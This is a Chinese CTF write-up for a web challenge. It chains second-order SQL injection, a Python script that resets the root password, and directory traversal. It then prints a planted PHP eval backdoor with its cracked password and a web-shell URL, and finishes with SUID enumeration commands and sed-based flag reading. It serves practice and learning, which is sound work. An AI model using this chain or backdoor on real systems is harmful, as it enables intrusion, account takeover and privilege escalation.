记录一下这道题,全新的思路
尝试二次注入
注册admin’#,修改密码,不成功
换一个闭合方式
admin"# 修改密码成功
修改密码为1234
在抓包的过程中,发现了传的参数
name是被base64编码过
pass是被md5加密过
say也是被base64编码过
登录admin账户,可以看见用户名
在首页看见root`s say
说明有root用户
尝试二次注入修改root用户密码
被爆没有权限
说明只有admin是有权限修改密码的
在抓包过程中看见了修改密码的发包过程,在js代码里也可以看见
admin修改密码
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
直接登录普通修改传参就行了,不用登录admin
我看其他wp他们都用的paython脚本
import base64
from hashlib import md5
import requests
url1="http://1.14.71.254:28585/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'111').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://1.14.71.254:28585/?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"TIz"})
print(res2.text)
其实是不用的
而且admin修改密码是可以直接修改的,不管旧密码是否正确
修改root密码为12345
登录后发现可以下载文件
继续抓包
存在目录遍历
这样就可以看我们之前看不到的文件的代码
看了一些文件,在phpinfo.php找到了关键代码
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
直接cmd5得到值
为1q2w3e
然后就是写马
如果直接连接http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e
密码cc
发现连接不了,要在写个文件,或者这样
http://1.14.71.254:28011/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);
密码:1
才能连上
在根目录发现flag
但是没有权限
suid提权
find / -user root -perm -4000 -print 2>/dev/null#由 root 用户拥有且具有 SUID 权限的文件
或者
find / -perm -u=s -type f 2>/dev/null#由 查找所有用户拥有的 SUID 文件,并且只关注普通文件
看到sed有suid权限,用sed读文件
sed -n '1p' flag # 输出文件第一行的内容